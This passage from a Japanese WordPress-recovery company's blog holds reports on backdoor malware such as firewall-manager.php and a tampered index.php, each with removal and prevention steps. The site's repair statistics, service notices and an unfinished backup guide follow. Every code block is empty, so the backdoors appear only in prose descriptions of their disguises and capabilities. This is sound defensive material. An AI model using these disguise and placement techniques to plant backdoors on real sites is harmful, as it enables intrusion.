外部から送信されたコマンドをそのまま実行できる構造で、攻撃者が自由に操作する「裏口」として利用されます。

---

### 感染ファイルの完全可読化ログ

以下は難読化を解除したコードの全体構造です（危険な部分はコメント化して安全化）。

```

```

---

### 危険性

- **不正アクセスの継続化**：攻撃者がバックドアを利用して再侵入可能。
- **任意コマンド実行** により、サーバー全体の制御を奪われる。
- **マルウェア拡散**：アップロード機能を使い新たなファイルを設置される。
- **SEOへの悪影響**：不正リダイレクトやスパム設置で検索順位が下落し、検索エンジンから除外される危険。

---

## 実際の感染事例

- `wp-content` 内のサブディレクトリに `firewall-manager.php` が隠され、Wordfenceが検知したケース。
- 攻撃者がこのファイル経由で不正なスクリプトを追加し、スパム広告サイトにリダイレクトさせた事例。
- 管理画面に異常が見られず、発見が遅れたためSEOスコアが大幅に低下したサイトも報告されている。

---

## 駆除と復旧の方法

1. **不正ファイルの削除** – `firewall-manager.php` を含む怪しいPHPファイルを即削除。
2. **WordPressコア・プラグイン・テーマの再インストール** – 正規ソースから上書き。
3. **ユーザー確認** – 不正な管理者アカウントが追加されていないか確認。
4. **データベースの点検** – 不審なコードやエントリを除去。
5. **サーバーログ分析** – 攻撃経路を特定し、同様の侵入を防止。
6. **セキュリティプラグインの導入** – WordfenceやWP Cerber、MalCareなどを利用。
7. **バックアップからの復元** – クリーンな時点に戻し、再設定。

---

## 再発防止のセキュリティ対策

- WordPressと全プラグイン・テーマを常に最新版に更新する。
- 強力なパスワードと二段階認証を導入する。
- 不要なファイルやプラグインを削除する。
- サーバーのパーミッションを適切に設定（644/755）。
- 管理画面URLへのアクセス制限を導入。
- 定期的なバックアップとリストアテストを実施する。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`firewall-manager.php` のようなバックドアは、サイト運営者を装って潜伏し、重大な被害をもたらす可能性があります。
早めの検知と確実な駆除、そして日常的なセキュリティ強化が、企業サイトの信頼と検索エンジン評価を守るための最重要ポイントです。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：Index.php改ざん型マルウェア](https://wp-r.com/malware/malware-rep-4/)

**Published:** 9月 13, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

今回解析したファイルは **`index.php`** です。本来、WordPressのルートディレクトリに存在する重要なファイルですが、攻撃者によって改ざんされ、**不正アクセス用のコードやリダイレクト機能を持つマルウェア**に書き換えられていました。

---

### 特徴

- WordPressの最重要ファイルである `index.php` を狙った改ざん。
- 難読化されたPHPコードを挿入し、外部からのコマンド実行や不正スクリプトの読み込みを可能にしていた。
- 正常なテーマ表示処理の前後に不正処理を追加し、管理者や訪問者が気付きにくい。

---

### 無毒化したコードの一部をサンプルで表記

```

```

---

### 感染ファイルの完全可読化ログ

以下は難読化を解除した `index.php` の構造（危険部分はコメント化済み）。

```

```

---

### 危険性

- **サイト全体が改ざん対象**：トップページを改変されると訪問者全員が被害に遭う可能性。
- **SEOへの大打撃**：検索結果から除外され、アクセス数が激減。
- **マルウェア拡散**：訪問者が不正サイトへリダイレクトされ、フィッシング被害やマルウェア感染につながる。
- **再侵入のリスク**：バックドア機能により、削除後も再度不正アクセスされる恐れがある。

---

## 実際の感染事例

- `index.php` にリダイレクトコードが仕込まれ、全ページがスパム広告へ飛ばされる被害。
- Google検索から完全に除外され、アクセスが95%減少したサイトの事例。
- 複数の `index.php` ファイル（テーマフォルダやプラグインフォルダ）も改ざんされていたケース。

---

## 駆除と復旧の方法

1. **改ざんされた `index.php` を正規のWordPressファイルに置き換え**。
2. **テーマやプラグインの `index.php` も全て確認・修正**。
3. **データベースに不審な挿入がないか確認**。
4. **管理者アカウント・FTPアカウントのパスワード変更**。
5. **セキュリティプラグインで全ファイルをスキャン**。
6. **外部バックアップからの復旧を優先**。

---

## 再発防止のセキュリティ対策

- WordPress・テーマ・プラグインの定期的な更新。
- 管理者ログインページに対するアクセス制限（Basic認証やIP制限）。
- 強固なパスワードと二段階認証の導入。
- ファイル改ざん検知ツールを導入。
- 不要なファイルやテーマを削除して攻撃対象を減らす。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`index.php` 改ざんはサイト全体に影響するため、被害が拡大しやすく極めて危険です。
感染が疑われた場合は速やかに正規ファイルで復旧し、再発防止策を講じることが不可欠です。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：JLKYA型バックドア](https://wp-r.com/malware/malware-rep-5/)

**Published:** 9月 17, 2025
**Author:** ワードプレスレスキュー

**Content:**

# マルウェアの概要

今回解析したファイルは **`JLKYA.php`** という名称のファイルで、WordPress本体や正規プラグインには存在しない不審なPHPファイルです。
中身を解析した結果、**難読化されたバックドア型マルウェア** であり、攻撃者が任意のコードをサーバー上で実行できる仕組みを備えていました。

---

### 特徴

- ファイル名がランダムな英大文字の組み合わせであり、管理者が見逃しやすい。
- 中身は `goto` 文や暗号化文字列を多用して難読化されている。
- 外部から送られたリクエストをそのまま解釈し、PHP関数を呼び出す構造。
- ファイル操作・コマンド実行・メール送信など、複数の不正機能を持つ。

---

### 無毒化したコードの一部をサンプルで表記

```

```

---

### 感染ファイルの完全可読化ログ

以下は難読化を解除した `JLKYA.php` の全体像（危険部分はコメント化済み）。

```

```

---

### 危険性

- **ランダムなファイル名で検出を回避**し、長期間潜伏するリスク。
- 任意コード実行により、サイトの完全な乗っ取りが可能。
- データベースや設定ファイルの窃取、不正メール送信に利用される危険性。
- SEOスパムやフィッシングサイトとして悪用されると、ドメイン自体が検索結果から除外される恐れ。

---

## 実際の感染事例

- `wp-content/uploads/` 配下に無関係なファイル名で `JLKYA.php` が設置されていたケース。
- 管理者が気づかないうちにサイトがスパム広告やフィッシングサイトへリダイレクトされていた。
- WordfenceやWP Cerberが「不審なPHPファイル」として隔離した事例あり。

---

## 駆除と復旧の方法

1. **不正ファイル `JLKYA.php` を即削除**。
2. **全てのWordPressファイルを正規版と比較し、改ざんの有無を確認**。
3. **管理者パスワード・FTP/SFTPパスワードを変更**。
4. **データベースの検査** – 不正なエントリやコード挿入がないか確認。
5. **セキュリティスキャン** – WordfenceやMalCareなどで全体を調査。
6. **バックアップから復元** – 感染が広範囲の場合はクリーンな状態に戻す。

---

## 再発防止のセキュリティ対策

- 不要なファイルを定期的にチェックし、怪しいファイル名がないか確認。
- WordPressコア・プラグイン・テーマを常に更新。
- ログインページのアクセス制限や二段階認証を導入。
- ファイル監視機能を活用し、改ざんを早期検知。
- 外部バックアップを定期的に取得して、緊急時に即時復元できる体制を構築。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`JLKYA.php` のようなランダム名のバックドアは、見つけにくく長期間サイトを危険に晒します。
素早い駆除とセキュリティ強化を行うことで、検索順位や顧客からの信頼を守ることができます。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：Plugin.php改ざん型マルウェア](https://wp-r.com/malware/malware-rep-6/)

**Published:** 9月 20, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

今回解析した **`plugin.php`** は、WordPressの標準ファイル名を装った **改ざん型マルウェア** です。
正規のWordPressコアやプラグインのファイルに似せた名前を持ちますが、実際には外部からの不正なコマンド実行やファイル操作を可能にするバックドアとして機能していました。

---

### 特徴

- `plugin.php` という正規っぽい名称で設置され、管理者が見落としやすい。
- 難読化されたコードで本来の挙動を隠蔽。
- 攻撃者が送るパラメータを解釈し、任意コードを実行可能。
- サーバー設定やデータベース情報にアクセスできる仕組みを含む。

---

### 無毒化したコードの一部をサンプルで表記

```

```

---

### 感染ファイルの完全可読化ログ

以下は可読化後の構造（一部危険な処理はコメント化済み）。

```

```

---

### 危険性

- **正規ファイル名を悪用**することで発見が遅れる可能性。
- 任意コード実行により、サーバーが完全に支配される恐れ。
- 不正なファイルアップロードによる **二次感染の拡大**。
- SEOスパムや不正広告配信に悪用され、検索エンジンからの評価が大きく低下する危険。

---

## 実際の感染事例

- `wp-content/plugins/` 内に `plugin.php` が設置され、Wordfenceによって不正ファイルと判定された。
- 攻撃者がこのバックドアを利用し、サイト内に大量のスパムページを作成したケース。
- 管理者が気づかないまま被害が拡大し、サイトが一時閉鎖に追い込まれた事例も存在。

---

## 駆除と復旧の方法

1. **不正ファイルの削除** – `plugin.php` を含む未知のファイルを削除。
2. **WordPress本体・プラグインを正規の最新版へ再インストール**。
3. **データベースやwp-config.phpを調査**し、不正コードの混入がないか確認。
4. **管理者・FTPアカウントのパスワードを変更**。
5. **セキュリティスキャンを実施**し、残存する不正ファイルを検知。
6. **バックアップからの安全な復旧**も検討。

---

## 再発防止のセキュリティ対策

- 不要なプラグイン・テーマを削除し、攻撃対象を減らす。
- WordPress・プラグイン・テーマを常に最新状態に維持。
- ログイン画面へのアクセス制限や二段階認証を導入。
- ファイル改ざん検知ツール（WP CerberやWordfence）を利用。
- 定期的なバックアップとリストアテストを実行。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`plugin.php` の改ざん型マルウェアは、正規ファイル名を装うことで発見が遅れがちです。
迅速な駆除と定期的なセキュリティ対策によって、サイトの安全性とビジネスの信頼を守りましょう。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：Plugin-Safemode型バックドア](https://wp-r.com/malware/malware-rep-7/)

**Published:** 9月 23, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

今回解析したファイル **`plugin-safemode.php`** は、正規のWordPress環境には存在しない不審なPHPファイルです。
名前に「safemode」と含まれており、一見するとセキュリティ関連の機能ファイルのように装っていますが、実際には **バックドア型マルウェア** であり、攻撃者がサーバー内部を操作するために利用されます。

---

### 特徴

- 「安全」「セーフモード」といった名前で管理者を安心させようとする偽装。
- 難読化コードを利用しており、内容がすぐには判別できない。
- 外部からのPOSTリクエストで任意のコードを実行できる。
- ファイルアップロードやサーバー設定情報の取得機能を含む。

---

### 無毒化したコードの一部をサンプルで表記

```

```

---

### 感染ファイルの完全可読化ログ

以下は `plugin-safemode.php` の可読化ログ（一部の危険コードはコメント化）。

```

```

---

### 危険性

- ファイル名が「セーフモード」と誤解を招き、管理者が安心して放置してしまう恐れ。
- サーバー内部に自由にアクセスされ、データの流出や改ざんにつながる。
- スパムページの設置やマルウェア拡散に利用され、SEO評価が著しく低下。
- バックドアが残り続けることで **再感染が繰り返されるリスク**。

---

## 実際の感染事例

- `plugin-safemode.php` が `wp-content/plugins/` ディレクトリに紛れ込み、管理者が正規ファイルと誤認していたケース。
- サイトが外部のフィッシングページへリダイレクトされ、Google検索から除外された。
- サーバーが迷惑メール送信の踏み台として悪用され、ホスティング業者からアカウント停止された事例も存在。

---

## 駆除と復旧の方法

1. **`plugin-safemode.php` を即削除**。
2. **すべてのプラグイン・テーマを正規の最新版へ再インストール**。
3. **wp-config.php とデータベースを調査**し、不審なコードやユーザーが追加されていないか確認。
4. **パスワードをすべて変更**（WordPress管理者・FTP・DB・ホスティングアカウント）。
5. **セキュリティプラグインで全体をスキャン**し、残存ファイルを排除。
6. **バックアップからの復元**を検討し、再度感染がない状態を確保。

---

## 再発防止のセキュリティ対策

- 正規ファイル以外の `.php` ファイルがないか定期的に確認。
- 強固なパスワードと二段階認証の導入。
- 不要なプラグインやテーマを削除。
- ファイル改ざん監視を有効化し、異常を即時検知。
- 定期的にバックアップを取り、安全な外部環境へ保管。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`plugin-safemode.php` は「セーフ」と名乗りつつ、実際には攻撃者の裏口として悪用される危険なマルウェアです。
早急な駆除と再発防止策の導入が、サイトの信頼性と検索順位を守るために不可欠です。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：WP-Blog-Header.php改ざん型マルウェア](https://wp-r.com/malware/malware-rep-8/)

**Published:** 9月 28, 2025
**Author:** ワードプレスレスキュー

**Content:**

# マルウェアの概要

今回解析したファイル **`wp-blog-header.php`** は、WordPressのコアで必ず存在するファイルですが、攻撃者によって改ざんされていました。
本来はWordPress本体を読み込むための処理しか行わないはずが、**外部から不正コードを実行するバックドア機能** が組み込まれていました。

---

### 特徴

- WordPress起動の入口ファイルを改ざんし、全ページに不正コードを仕込める。
- 難読化されたPHPコードを利用し、表面上は見つけにくい。
- 外部から送られたパラメータを解析して不正処理を実行可能。
- 正常な処理に紛れ込む形で攻撃コードが挿入されている。

---

### 無毒化したコードの一部をサンプルで表記

```

```

---

### 感染ファイルの完全可読化ログ

以下は `wp-blog-header.php` の改ざん部分を可読化した例（危険部分はコメント化）。

```

```

---

### 危険性

- WordPress全体を制御される可能性があり、被害が甚大。
- バックドアが残ると、攻撃者が再び自由にアクセス可能。
- 不正リダイレクトやスパムページの設置によりSEO評価が大きく低下。
- 顧客データや会員情報が漏えいするリスクが高い。

---

## 実際の感染事例

- `wp-blog-header.php` が改ざんされ、サイト全体がスパム広告ページにリダイレクトされたケース。
- 攻撃者が不正アップロードしたファイルをトリガーに、複数回再感染が発生した事例。
- 検索エンジンから危険サイトとして警告され、アクセス数が激減したサイトも報告。

---

## 駆除と復旧の方法

1. **改ざんされた `wp-blog-header.php` を正規のWordPressファイルで上書き**。
2. **WordPress本体を最新版へ更新**。
3. **管理者アカウント・パスワードの変更**。
4. **全ファイルをスキャン**し、同様のバックドアファイルがないか確認。
5. **データベースの点検** – 不正なコード挿入やユーザー追加の有無を調査。
6. **クリーンなバックアップからの復旧**も検討。

---

## 再発防止のセキュリティ対策

- WordPress本体・プラグイン・テーマを常に最新に更新。
- 管理者画面へのアクセス制限や二段階認証を導入。
- サーバーログやファイル改ざん検知を定期的に確認。
- 不要なプラグイン・テーマを削除。
- 外部バックアップを必ず取得し、復旧手順を整備する。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`wp-blog-header.php` の改ざんは、WordPress全体を不正利用される重大なリスクを伴います。
感染が確認された場合は速やかに正規ファイルへ復旧し、強固なセキュリティ対策を導入することが必須です。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [ワードプレスの修復・復旧サービスをスタートさせました。](https://wp-r.com/service/wp-recovery-service-started/)

**Published:** 5月 8, 2016
**Author:** ワードプレスレスキュー

**カテゴリー:** サービス

---

### [2016年11月・10月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/2016-11-10/)

**Published:** 12月 5, 2016
**Author:** ワードプレスレスキュー

**Content:**

10月、11月のワードプレの緊急対応、サーバー移管の実績は、7社からご依頼頂き、6ドメイン分を対応しました。4時間以内の復旧でした（※1件をのぞく）ご発注いただいたお客様ありがとうございました。

主な症例は下記のとおりでした。

・500エラーの多発

・アップデートによるプラグインの不具合

・管理画面に入れない

・一部プラグインにエラーが出る

・ページが表示されない、真っ白になる

・DNSとサーバー設定のミスにより、原因特定からの復旧
※受任してから12時間以内の復旧

**カテゴリー:** ワードプレス復旧実績

---

### [年末年始の対応について](https://wp-r.com/news/open-on-holidays2016/)

**Published:** 12月 17, 2016
**Author:** ワードプレスレスキュー

**Content:**

## 年末年始のワードプレス復旧作業について

年末年始のワードプレス緊急対応、ワードプレスのサーバー移管対応ですが、出来る限り対応させて頂く予定です。ワードプレスのサーバー移管に関しては、ドメイン会社様、サーバー会社様のサポートがお休みの場合が多く、場合によってはご対応出来ませんが、ワードプレスの修復の緊急対応は出来る限り対応させていただきます。

12月29日～1月3日は年末年始料金で、通常の1.25倍の金額で対応させていただいておりますので、ご理解のほどをお願いします。

**カテゴリー:** お知らせ

---

### [2017年1月・2月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/2017-01-02/)

**Published:** 3月 4, 2017
**Author:** ワードプレスレスキュー

**Content:**

1月、2月のワードプレの緊急対応、サーバー移管の実績は、9社からご依頼頂き、9ドメイン分を対応しました。すべて4時間以内の復旧致しました。ご発注いただいたお客様ありがとうございました。

主な症例は下記のとおりでした。

・500エラーの多発

・ワードプレス自体のアップデートの事前テスト

・管理画面に入れない

・ページが表示されない、真っ白になる

・ドメインとサーバーの移管作業

・URL設定のエラーによるアクセス不可

・SSL更新作業

**カテゴリー:** ワードプレス復旧実績

---

### [2017年3月・4月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/2017-03-04/)

**Published:** 6月 3, 2017
**Author:** ワードプレスレスキュー

**Content:**

月、4月のワードプレの緊急対応、サーバー移管の実績は、8社からご依頼頂き、8ドメイン分を対応しました。すべて受任後4時間以内の復旧致しました。ご発注いただいたお客様ありがとうございました。

主な症例は下記のとおりでした。

・500エラーの多発

・管理画面に入れない（Function修正、原因プラグイン特定、PHPコード記述間違いの修正等）

・ドメインとサーバーの移管作業

・URL設定のエラーによるアクセス不可

・ワードプレスソース改ざん調査、復旧

・ワードプレスに仕様するSSLインストール、SSL更新作業

**カテゴリー:** ワードプレス復旧実績

---

### [2017年5月・6月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/2017-05-06/)

**Published:** 8月 29, 2017
**Author:** ワードプレスレスキュー

**Content:**

13社・13ドメイン分のワードプレスの復旧作業をいたしました。1点DNSの問題を除けば、全て受任してからの4時間以内の復旧でした。主な内容としては下記のとおりです。すべて受任してから4時間以内の復旧をさせていただきました。

・ワードプレスアップデートによる、プラグインがエラーを起こす
・管理画面に入れない
・DNSのレコード設定ミス
・何も表示がされなくなった
・管理画面がリダイレクトされて停止する
・500エラーの多発

依頼頂いた皆様ありがとうございました。

**カテゴリー:** ワードプレス復旧実績

---

### [7月・8月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/2017-07-08/)

**Published:** 9月 6, 2017
**Author:** ワードプレスレスキュー

**Content:**

1２社・18ドメイン分のワードプレスの復旧作業をいたしました。全て受任してからの4時間以内の復旧でした。主な内容としては下記のとおりです。

・ワードプレスアップデートによる、プラグインがエラーを起こす
・管理画面のみ真っ白になる
・何も表示がされなくなった
・管理画面がリダイレクトされて停止する
・500エラーの多発
・サイト全体がリダイレクトされて停止する
・HTTPS、SSL化の設定失敗によるサイトダウン
依頼頂いた皆様ありがとうございました。

**カテゴリー:** ワードプレス復旧実績

---

### [9月・10月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/2017-09-10/)

**Published:** 11月 10, 2017
**Author:** ワードプレスレスキュー

**Content:**

6 社・6ドメイン分のワードプレスの復旧作業をいたしました。全て受任してからの4時間以内の復旧でした。主な内容としては下記のとおりです。

・ワードプレスアップデートによる、プラグインエラー
・管理画面はログイン出来るが、投稿や固定ページが表示されない
・バックデータからのリストアの失敗
・テーマのカスタマイズによるPHPのエラーにより全てのページが表示されなくなった
・一部のヘッダーが改ざんされている
・HTTPS、SSL化の設定失敗によるサイトダウン
依頼頂いた皆様ありがとうございました。

**カテゴリー:** ワードプレス復旧実績

---

### [2018年12月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/201712-2/)

**Published:** 1月 10, 2018
**Author:** ワードプレスレスキュー

**Content:**

## 2018年12月のワードプレスの復旧・修復の実績

5 社・5ドメイン分のワードプレスの復旧作業をいたしました。全て依頼をお受けしてからの2時間以内の復旧でした。主な内容としては下記のとおりです。
・VPSの障害によるダウン（ワードプレスの範囲外ですが弊社で対応できます）
・プラグインの削除手順間違いによるサイトダウン
・HTTPS、SSL化の設定失敗によるサイトダウン
・PHPの記述間違によるサイトダウン

年末年始のご依頼はありませんでした

ワードプレスの修復・復旧依頼頂いた皆様ありがとうございました。

**カテゴリー:** ワードプレス復旧実績

---

### [11月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/201712/)

**Published:** 12月 7, 2017
**Author:** ワードプレスレスキュー

**Content:**

## 11月のワードプレス復旧の実績

10 社・10ドメイン分のワードプレスの復旧作業をいたしました。全て受任してからの2時間以内の復旧でした。主な内容としては下記のとおりです。
・プラグインの削除手順間違いによるサイトダウン
・サーバー側の設定ミスによるサイトダウン
・HTTPS、SSL化の設定失敗によるサイトダウン
・PHPの記述間違によるサイトダウン
・テーマのカスタマイズによるPHPのエラーにより全てのページが表示されなくなった
・データベースの設定間違いによるサイトダウン、データが消失する前の依頼によるサイト復旧
依頼頂いた皆様ありがとうございました。

**カテゴリー:** ワードプレス復旧実績

---

### [VPSやクラウドのサーバーの障害対応（緊急）サービスをスタートしました。](https://wp-r.com/service/server-rescue/)

**Published:** 1月 17, 2018
**Author:** ワードプレスレスキュー

**Content:**

VPSやクラウドのサーバーの障害対応の緊急対応サービスをスタートしました。Linuxのみの対応となります。VPSやクラウドのサーバーで構築されており、サーバーが立ち上がらなかったり、メールの遅延等の対応をさせていただきます。

## 様々な障害に対応が可能です

- WEBサーバーがアクセスできなくなった
- メールの遅延が起きている
- MySQL等のデータベースに接続できない
- 不審なログがたくさん残っている
- メールが送信できない
- アップデートが出来ない
- セキュリティー対策が必要だが、自前で対応出来ない

## VPSやクラウドサーバーの障害対応

1. 事前の相談無料です。
2. 完全成功報酬型後払いです。
3. ４０，０００円～からお受け致します。

出張による現地での対応は、別途ご相談下さい。なおハードディスクのRAIDに関しましては、メーカーにより復旧で順が異なり、１つ間違えるとデータそのものが壊れて、飛んでしまいますので、お受けしておりません。こちらは、RAIDのメーカーに問合せ下さい。

**カテゴリー:** サービス

---

### [ワードプレスのバックアップの注意点や読んでほしいこと](https://wp-r.com/wp-tips/wordpress-backup-tips/)

**Published:** 2月 24, 2018
**Author:** ワードプレスレスキュー

**Content:**

※本記事は書きかけです。

## ワードプレスのバックアップと復元について

ワードプレスのバックアップの方法や復元について色々とエンジニアの立場から書いてみようと思います。色々とワードプレスのTIPSでバックアップの方法やバックアップのプラグインの記事を見ることがあります。私もプラグインに関しては参考にさせていただくことが有りますが、１つ大いにして言いたいことが有ります。
**「バックアッププラグインの方法など紹介されていますが、必ずその通りに行くわけではない」**ということです。バックアップもレストア（復元）も同じくです。

## あなたのデジタル資産はいくら？

ワードプレスのバックアップと言うものは、とても需要なことでデジタル資産を守る上でとても大切なことなので、しっかりと時間をかけて対策をねったり、調査したり、専門家や専門業者に相談することをおすすめします。

## 大前提としてのバックアップの成功

バックアップが上手くいかない、復元がうまくいかないと色々とトラブルがありますが、まず復元するにもバッアップがしっかりと取れていることが必要です。大前提です。ワードプレスは主に2種類のファイルで構成されています。この2種類のバックアップを取るのが必須です。

### ① 構成ファイル（PHP・CSS・JPEGファイル等）

「ワードプレス本体・テーマファイル・記事中の画像データ・プラグイン等」
FTPソフト等でアップロードするデータや、管理画面からプラグインを新規インストールした時のファイルです。FTPソフトでもダウンロードが出来ます。構成ファイルについては、バックアップは手動でやるのであれば、FTPソフトで全てダウンロードすれば済みます。
![「ワードプレス本体・テーマファイル・記事中の画像データ・プラグイン等」 FTPソフト等でアップロードするデータや、管理画面からプラグインを新規インストールした時のファイルです。FTPソフトでもダウンロードが出来ます。構成ファイルについては、バックアップは手動でやるのであれば、FTPソフトで全てダウンロードすれば済みます。](https://wp-r.com/wp-content/uploads/2018/02/wordpressfile.jpg)

### ② 設定・記事ファイル（データベース）

「記事の内容、ワードプレスの設定、プラグイン設定情報」
ワードプレスなどのCMSを含めて、いまのプログラムの主流はデータベースを使っておりす。管理画面から入力した設定や、記事の内容についてはここにあるデータベースに格納されております。ここのデータはFTPソフトでは通常アクセスできない場所にあり、phpMyadminなどのツールを使ってバックアップを取ります。

![「記事の内容、ワードプレスの設定、プラグイン設定情報」 ワードプレスなどのCMSを含めて、いまのプログラムの主流はデータベースを使っておりす。管理画面から入力した設定や、記事の内容についてはここにあるデータベースに格納されております。ここのデータはFTPソフトでは通常アクセスできない場所にあり、phpMyadminなどのツールを使ってバックアップを取ります。](https://wp-r.com/wp-content/uploads/2018/02/mysql.png)

## バックアップ作業を自動化するためのプラグイン

前述通り、ワードプレスには構成ファイルと設定、記事ファイルのお2種類で構成されており、手動でバックアップを取ることが出来ますが、ワードプレスのバックアップを自動化するためのプラグインが存在します。とても便利なもので、たくさんのノウハウ記事がインターネット上にあります。
弊社にワードプレスの修復依頼をいただく方で、結構な割合で**インターネットに載っている記事の通りにやって失敗**して、ワードプレスが壊れたケースが多々あります。私もエンジニアの立場から見ると、結構怪しい記事や、間違った記事もあるのも事実です。ただ、素人の方には、その記事が正しいか正しくないかなんて分かるわけがないので、ワードプレスのバックアップなどの需要な作業をするには、慎重に確認する必要があります。方法としては、たくさんのサイトを確認して、矛盾点がでれば徹底的に調べます。
ただ、大本に参考にした記事が間違っていて、そのコピー記事が大量に出回っていたら、防ぎようはないですが・・・

## 記事は間違っているのか？

失敗された方の記事をみると、全てが全間違っているわけではありません。それではなぜワードプレスのバックアップが失敗するのでしょうか。結論から言うと、データ容量・サーバーの種類やスペック、サーバー内での出来ることの制限、ワードプレスのバージョン、プラグインとの組み合わせにより、うまくいかない場合があります。特にバックアップ系のプラグインは、ワードプレス本来の機能ではなくて、サーバーのファイルを操作するプログラムです。ですので、サーバーの環境データ量によってはうまくいかなことがあります。よって**「記事を書いた人の環境ではうまく行った例を掲載している」**というべきでしょうか。

## バックアップが失敗する事例

過去に私が見させていただいた事案で、ワードプレスのプラグインによるバックアップの失敗した時の共通点です。（共有サーバーのため、管理者権限が無いので深く追えないのがほとんどです。）
**・画像やプラグインのデータ量が多い**
**・プラグインが奨励するワードプレスの奨励バージョンを満たしていない**
**・サーバー側のプログラムの動く時間の制限値を超えてしまっている**

## プラグインが良いか？手動が良いか？

手動でバックアップをとる方法はとてもシンプルで簡単です。私の場合は、このシンプルな方法のみをプログラムにして、１日１回自動でプログラムを起動してワードプレスのバックアップをとっております。これはサーバーで管理権限を持っている事が必要となります。手動の方法とても簡単ですが、自動化することに越したことはないと思います。重要なのは、しっかりとワードプレスのバックアプが取れているということです。手動か自動かはそれぞれの環境に応じて選択すればいいかと思いま。自動＋手動でワードプレスのバックアップを取得されている方もいらっしゃいます。

## バックアップが取れているか必ず確認

ワードプレスに障害が出た時に、ワードプレスのバックアップさえあれば、そのバックアップを取ったときまでは、戻すことが出来ます。とにかくワードプレスなどの障害や復旧が必要な時には、ワードプレスのバックアップがしっかりと取れているかが重要です。プラグインによっては、メールで失敗したときにはお知らせもしてくれます。

## どのようなプラグインを選ぶべきか？ポイント

ワードプレスのバックアップのプラグインですが、どのようなものを選ぶべきか、考えてみました。これは、バックアッププラグインに限らす、ソフトウェア全般に言えることですがまとめてみました。

・メジャーなものを選ぶ事が重要です。最初にメジャーのプラグインを選んで試してみて下さい・メジャーなプラグインはインターネット上に色々と記事があります。数があればあるほど、いろいろなことが載っているので、正しいことが書いているか、なんか怪しいかわかってくると思います。設定をするにも、失敗したときにも情報があることに越したことはありません。

### ・バックアップの成功、失敗を知らせてくれる

何度も書いておりますがワードプレスが壊れても、バックアップさえあればどうにかなります。ですので、バックアップが失敗していた状態であると全く意味が無いので、成功もしくは失敗をメールなどでお知らせしてくれる機能はありがたいです。

### ・詳しい知り合いの実績があるもの

ワードプレスの運用実績が数多く持っている方が、周りにいらっしゃればその方にプラグインを紹介してもらうのも良いですね。なにかと相談に乗れることもあるかと思います。

### ・有料サポートがあるもの、受けられる

プラグイン自体の有料サポートがあるものや、専門業者や制作会社にプラグインがしっかり動くか、サポートや検証をしてもらえるサービスがあれば、1番確実でしょう。

### ・１つ目が駄目から次にすぐにいかない

よく見受けられるパターンで、１つのワードプレスのプラグインを入れてうまく動かなく、もしくは設定出来なくて、次々と使うプラグインを変える方がいらっしゃいます。削除手順を間違えるとDBに必要ないデータが残る場合があり、それが次のプラグインに悪い影響を及ぼす可能性もあります。ですので、まずは選定（情報収集）に時間をかけて、もしうまくいかなくても、ある程度時間をかけて、原因がどこにあるか調べることは重用だと思います。ワードプレスの運用スキルも一緒に上がります。

### サーバー会社のバックアップ機能を考える

ワードプレスのバックアップに関しては、サーバー会社のバックアップ機能を利用するのも手です。ここの機能は、ワードプレスのバックアップに限らず、データをバックアップしてくれるサービスが殆どです。無料、有償それぞれあります。

**KDDI→無料で1日1回バックアップ。コンパネからDL出来る。**
https://www.cpi.ad.jp/shared/index.html

**XSERVER→1日1回バックップ、自動バックアップデータは有料。サポートに依頼。手動バックアップは簡単にコンパネから取れる**
https://www.xserver.ne.jp/functions/service\_backup.php

## ・サーバー会社のバックアップの確認のポイント

- どこの領域（データ）をバックアップしてくれるのか
